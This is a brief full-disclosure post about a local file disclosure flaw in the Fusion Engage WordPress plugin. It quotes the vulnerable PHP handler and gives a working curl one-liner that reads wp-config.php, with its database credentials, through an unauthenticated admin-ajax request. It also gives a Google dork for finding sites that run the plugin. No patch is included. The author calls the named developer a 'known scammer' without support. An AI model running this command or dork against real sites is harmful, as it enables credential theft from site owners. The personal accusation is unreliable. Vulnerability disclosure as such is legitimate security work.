Fusion Engage is a commercial wordpress plugin sold by internet marketer (and known scammer) Precious Ngwu to.. I'm actually not sure. Something to do with video embedding.

Anyway, it has a LFD. Here's the relevant code..

function fe_get_sv_html(){
        global $wpdb, $video_db, $ann_db;
        
        print(file_get_contents($_POST['video']));
        
        wp_die();
    }add_action('wp_ajax_nopriv_fe_get_sv_html', 'fe_get_sv_html');add_action('wp_ajax_fe_get_sv_html', 'fe_get_sv_html');

So, you can exploit it easily... quick curl one-liner to get wp-config.php:
curl --data "action=fe_get_sv_html&video=../wp-config.php" "http://exploitable-site/wp-admin/admin-ajax.php"

Precious Ngwu cares not at all about support, and last time I found security issues in his products he did not reply to me whatsoever. So, full disclosure on this one straight away, maybe someone else can contact him and "convince" him to put out an update, all I say to that is: good luck...

Quick google dork: inurl:plugins inurl:fusion-engage

- slipstream/raylee - twitter: @TheWack0lian